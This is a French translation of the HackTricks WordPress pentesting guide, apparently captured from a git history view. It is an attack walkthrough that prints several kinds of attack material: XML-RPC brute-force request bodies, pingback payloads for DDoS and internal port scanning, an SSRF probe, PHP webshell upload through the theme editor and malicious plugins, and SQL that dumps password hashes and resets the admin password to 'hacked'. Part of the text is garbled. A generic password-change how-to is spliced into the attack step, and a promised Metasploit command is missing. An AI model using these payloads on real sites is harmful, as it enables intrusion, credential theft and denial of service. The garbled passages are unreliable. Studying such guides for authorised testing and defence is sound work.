hacktricks/network-services-pentesting/pentesting-web/wordpress.md

422 lines
22 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Wordpress
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-01-13 17:40:30 +00:00
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-06-03 13:10:46 +00:00
Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
## Informations de base
2023-06-03 13:10:46 +00:00
Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/**, donc si vous modifiez un fichier php du thème pour obtenir une RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Une autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2023-06-03 13:10:46 +00:00
Dans **wp-config.php**, vous pouvez trouver le mot de passe root de la base de données.
2023-06-03 13:10:46 +00:00
Les chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
2023-06-03 13:10:46 +00:00
### **Fichiers principaux de WordPress**
* `index.php`
2023-06-03 13:10:46 +00:00
* `license.txt` contient des informations utiles telles que la version de WordPress installée.
* `wp-activate.php` est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.
* Dossiers de connexion (peuvent être renommés pour les masquer) :
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
2023-06-03 13:10:46 +00:00
* `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress qui permet la transmission de données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme de codage. Ce type de communication a été remplacé par l'[API REST](https://developer.wordpress.org/rest-api/reference) de WordPress.
* Le dossier `wp-content` est le répertoire principal où les plugins et les thèmes sont stockés.
* `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
* `wp-includes/` C'est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices de caractères, les fichiers JavaScript et les widgets.
2023-06-03 13:10:46 +00:00
**Post-exploitation**
2023-06-03 13:10:46 +00:00
* Le fichier `wp-config.php` contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés et les sels d'authentification, et le préfixe de table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, qui peut être utile pour le dépannage.
2023-06-03 13:10:46 +00:00
### Permissions des utilisateurs
2023-06-03 13:10:46 +00:00
* **Administrateur**
* **Editeur** : Publie et gère ses propres publications et celles des autres.
* **Auteur** : Publie et gère ses propres publications.
* **Contributeur** : Écrit et gère ses publications mais ne peut pas les publier.
* **Abonné** : Parcourt les publications et modifie son profil.
2023-06-03 13:10:46 +00:00
## **Énumération passive**
2023-06-03 13:10:46 +00:00
### **Obtenir la version de WordPress**
2023-06-03 13:10:46 +00:00
Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html`
2023-06-03 13:10:46 +00:00
Dans le **code source** de la page (exemple de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) :
2022-10-02 23:08:05 +00:00
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
2023-06-03 13:10:46 +00:00
* Fichiers de liens CSS
![](<../../.gitbook/assets/image (344).png>)
2023-06-03 13:10:46 +00:00
* Fichiers JavaScript
![](<../../.gitbook/assets/image (346).png>)
2023-06-03 13:10:46 +00:00
### Obtenir des plugins
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-06-03 13:10:46 +00:00
### Obtenir des thèmes
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-06-03 13:10:46 +00:00
### Extraire les versions en général
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-01-13 17:40:30 +00:00
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
Utilisez [**Trickest**](https://trickest.io/) pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
## Énumération active
2023-06-03 13:10:46 +00:00
### Plugins et thèmes
2023-06-03 13:10:46 +00:00
Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour découvrir tous les plugins et thèmes, vous devrez **forcer activement une liste de plugins et de thèmes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes).
2023-06-03 13:10:46 +00:00
### Utilisateurs
2023-06-03 13:10:46 +00:00
**Brute force d'ID**
2023-06-03 13:10:46 +00:00
Vous pouvez obtenir des utilisateurs valides d'un site WordPress en forçant les ID des utilisateurs :
```
curl -s -I -X GET http://blog.example.com/?author=1
```
2023-06-03 13:10:46 +00:00
Si les réponses sont **200** ou **30X**, cela signifie que l'identifiant est **valide**. Si la réponse est **400**, alors l'identifiant est **invalide**.
2022-04-28 23:27:22 +00:00
**wp-json**
2023-06-03 13:10:46 +00:00
Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :
```
curl http://blog.example.com/wp-json/wp/v2/users
```
2023-06-03 13:10:46 +00:00
**Seules les informations sur les utilisateurs ayant cette fonctionnalité activée seront fournies**.
2023-06-03 13:10:46 +00:00
Notez également que **/wp-json/wp/v2/pages** pourrait divulguer des adresses IP.
2023-06-03 13:10:46 +00:00
#### Énumération des noms d'utilisateur de connexion
2022-10-02 23:08:05 +00:00
2023-06-03 13:10:46 +00:00
Lors de la connexion à **`/wp-login.php`**, le **message** est **différent** si le **nom d'utilisateur indiqué existe ou non**.
2022-05-01 16:57:45 +00:00
### XML-RPC
2023-06-03 13:10:46 +00:00
Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque de force brute de mots de passe ou l'utiliser pour lancer des attaques DoS sur d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple).
2023-06-03 13:10:46 +00:00
Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête:
2023-06-03 13:10:46 +00:00
**Vérifier**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
2023-06-03 13:10:46 +00:00
**Bruteforce de mots de passe**
2023-06-03 13:10:46 +00:00
Les méthodes **`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** peuvent être utilisées pour effectuer un bruteforce de mots de passe. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
2023-06-03 13:10:46 +00:00
Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 doit apparaître si les informations d'identification ne sont pas valides.
2023-06-03 13:10:46 +00:00
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
2022-10-08 16:35:25 +00:00
![](<../../.gitbook/assets/image (102).png>)
2023-06-03 13:10:46 +00:00
En utilisant les informations d'identification correctes, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
2023-06-03 13:10:46 +00:00
Il existe également un moyen **plus rapide** de forcer l'authentification en utilisant **`system.multicall`** car vous pouvez essayer plusieurs identifiants sur la même requête :
2022-10-22 15:26:54 +00:00
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
2023-06-03 13:10:46 +00:00
**Contourner la double authentification**
2022-02-09 20:26:27 +00:00
2023-06-03 13:10:46 +00:00
Cette méthode est destinée aux programmes et non aux humains, et elle est ancienne, donc elle ne prend pas en charge la double authentification. Ainsi, si vous avez des identifiants valides mais que l'entrée principale est protégée par une double authentification, **vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant la double authentification**. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez quand même être en mesure d'obtenir une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
2023-06-03 13:10:46 +00:00
**DDoS ou scan de port**
2023-06-03 13:10:46 +00:00
Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez demander à Wordpress d'envoyer une requête arbitraire à n'importe quel hôte/port.\
Cela peut être utilisé pour demander à **des milliers** de sites **Wordpress** d'accéder à une **même adresse** (ce qui provoque un **DDoS** sur cette adresse) ou vous pouvez l'utiliser pour faire **scanner** un réseau interne de **Wordpress** (vous pouvez indiquer n'importe quel port).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
2023-06-03 13:10:46 +00:00
Si vous obtenez un **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
2023-06-03 13:10:46 +00:00
Jetez un coup d'œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode pour causer une attaque DDoS.
2022-12-09 14:47:58 +00:00
**DDoS**
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
2023-06-03 13:10:46 +00:00
Ce fichier se trouve généralement sous la racine du site Wordpress : **`/wp-cron.php`**\
Lorsque ce fichier est **accédé**, une requête MySQL "**lourde**" est effectuée, il peut donc être utilisé par les **attaquants** pour **causer** un **DoS**.\
De plus, par défaut, `wp-cron.php` est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui peut causer des problèmes (DoS) sur les sites à fort trafic.
2022-12-09 14:47:58 +00:00
2023-06-03 13:10:46 +00:00
Il est recommandé de désactiver Wp-Cron et de créer une tâche cron réelle à l'intérieur de l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
2023-06-03 13:10:46 +00:00
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress peut vous faire une demande.
2023-06-03 13:10:46 +00:00
Voici la réponse lorsque cela ne fonctionne pas :
2022-09-30 10:43:59 +00:00
![](<../../.gitbook/assets/image (184) (1).png>)
2022-05-01 16:57:45 +00:00
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
2023-06-03 13:10:46 +00:00
Cet outil vérifie si le **nom de la méthode : pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** existent, et s'ils existent, il essaie de les exploiter.
2023-06-03 13:10:46 +00:00
### Outils automatiques
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
2023-01-13 17:40:30 +00:00
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-06-03 13:10:46 +00:00
Utilisez [**Trickest**](https://trickest.io/) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
## Obtenez l'accès en écrasant un peu
2022-06-23 12:12:25 +00:00
2023-06-03 13:10:46 +00:00
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), vous pouvez inverser 1 bit de n'importe quel fichier WordPress. Vous pouvez donc inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour annuler l'opération NOT (`!`).
2022-06-23 12:12:25 +00:00
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
2022-05-01 16:57:45 +00:00
## **Panel RCE**
2023-06-03 13:10:46 +00:00
**Modification d'un fichier php du thème utilisé (identifiants d'administration nécessaires)**
2023-06-03 13:10:46 +00:00
Apparence → Éditeur de thème → Modèle 404 (à droite)
2023-06-03 13:10:46 +00:00
Modifiez le contenu pour y ajouter un shell php :
2022-12-24 19:34:46 +00:00
![](<../../.gitbook/assets/image (21) (1) (1).png>)
2023-06-03 13:10:46 +00:00
Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2022-05-01 16:57:45 +00:00
### MSF
2023-06-03 13:10:46 +00:00
Vous pouvez utiliser :
```
use exploit/unix/webapp/wp_admin_shell_upload
```
2022-05-01 16:57:45 +00:00
## Plugin RCE
2023-06-03 13:10:46 +00:00
### Plugin PHP
2023-06-03 13:10:46 +00:00
Il est possible de télécharger des fichiers .php en tant que plugin.\
Créez votre backdoor php en utilisant par exemple:
![](<../../.gitbook/assets/image (407).png>)
2023-06-03 13:10:46 +00:00
Ensuite, ajoutez un nouveau plugin:
![](<../../.gitbook/assets/image (409).png>)
2023-06-03 13:10:46 +00:00
Téléchargez le plugin et appuyez sur Installer maintenant:
![](<../../.gitbook/assets/image (411).png>)
2023-06-03 13:10:46 +00:00
Cliquez sur Procced:
![](<../../.gitbook/assets/image (412).png>)
2023-06-03 13:10:46 +00:00
Cela ne fera probablement rien apparemment, mais si vous allez dans Médias, vous verrez votre shell téléchargé:
![](<../../.gitbook/assets/image (413).png>)
2023-06-03 13:10:46 +00:00
Accédez-y et vous verrez l'URL pour exécuter le shell inversé:
![](<../../.gitbook/assets/image (414).png>)
2023-06-03 13:10:46 +00:00
### Téléchargement et activation de plugin malveillant
2023-06-03 13:10:46 +00:00
**(Cette partie est copiée de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)**
2023-06-03 13:10:46 +00:00
Parfois, les utilisateurs ne possèdent pas l'autorisation d'écriture pour apporter des modifications au thème WordPress, nous choisissons donc "Injecter un plugin WP malveillant" comme stratégie alternative pour acquérir un shell web.
2023-06-03 13:10:46 +00:00
Ainsi, une fois que vous avez accès à un tableau de bord WordPress, vous pouvez essayer d'installer un plugin malveillant. Ici, j'ai déjà téléchargé le plugin vulnérable depuis exploit db.
2023-06-03 13:10:46 +00:00
Cliquez [**ici**](https://www.exploit-db.com/exploits/36374) pour télécharger le plugin pour la pratique.
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
Puisque nous avons un fichier zip pour le plugin, il est temps de télécharger le plugin.
2023-06-03 13:10:46 +00:00
Tableau de bord > plugins > télécharger le plugin
2021-11-30 16:46:07 +00:00
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
Parcourez le fichier zip téléchargé comme indiqué.
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
Une fois que le package est installé avec succès, nous devons activer le plugin.
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
Lorsque tout est bien configuré, passez à l'exploitation. Puisque nous avons installé un plugin vulnérable nommé "reflex-gallery" et qu'il est facilement exploitable.
2023-06-03 13:10:46 +00:00
Vous obtiendrez une exploitation de cette vulnérabilité dans le cadre du framework Metasploit et chargez donc le module ci-dessous et exécutez la commande suivante:
2023-06-03 13:10:46 +00:00
Une fois les commandes ci-dessus exécutées, vous aurez votre session meterpreter. Tout comme décrit dans cet article, il existe plusieurs méthodes pour exploiter un site web de plateforme WordPress.
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
## Post-exploitation
2023-06-03 13:10:46 +00:00
Extraire les noms d'utilisateur et les mots de passe:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
2023-06-03 13:10:46 +00:00
Changer le mot de passe admin :
2023-06-03 13:10:46 +00:00
Il est important de changer régulièrement le mot de passe de l'administrateur pour éviter les accès non autorisés. Voici les étapes pour changer le mot de passe admin :
2023-06-03 13:10:46 +00:00
1. Connectez-vous à votre tableau de bord WordPress en tant qu'administrateur.
2. Cliquez sur "Utilisateurs" dans le menu de gauche.
3. Cliquez sur "Modifier" sous le nom de l'utilisateur "admin".
4. Entrez votre nouveau mot de passe dans les champs "Nouveau mot de passe" et "Confirmer le nouveau mot de passe".
5. Cliquez sur "Mettre à jour le profil" pour enregistrer les modifications.
Assurez-vous de choisir un mot de passe fort et unique pour éviter les attaques de force brute.
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
2023-06-03 13:10:46 +00:00
## Protection de WordPress
2023-06-03 13:10:46 +00:00
### Mises à jour régulières
2023-06-03 13:10:46 +00:00
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php :
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
2023-06-03 13:10:46 +00:00
De plus, **installez uniquement des plugins et des thèmes WordPress fiables**.
2023-06-03 13:10:46 +00:00
### Plugins de sécurité
2022-02-09 18:48:09 +00:00
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
2023-06-03 13:10:46 +00:00
### **Autres recommandations**
2023-06-03 13:10:46 +00:00
* Supprimez l'utilisateur **admin** par défaut
* Utilisez des **mots de passe forts** et **2FA**
* **Examinez périodiquement** les **autorisations** des utilisateurs
* **Limitez les tentatives de connexion** pour éviter les attaques par force brute
* Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.
2023-01-13 17:40:30 +00:00
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-06-03 13:10:46 +00:00
Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>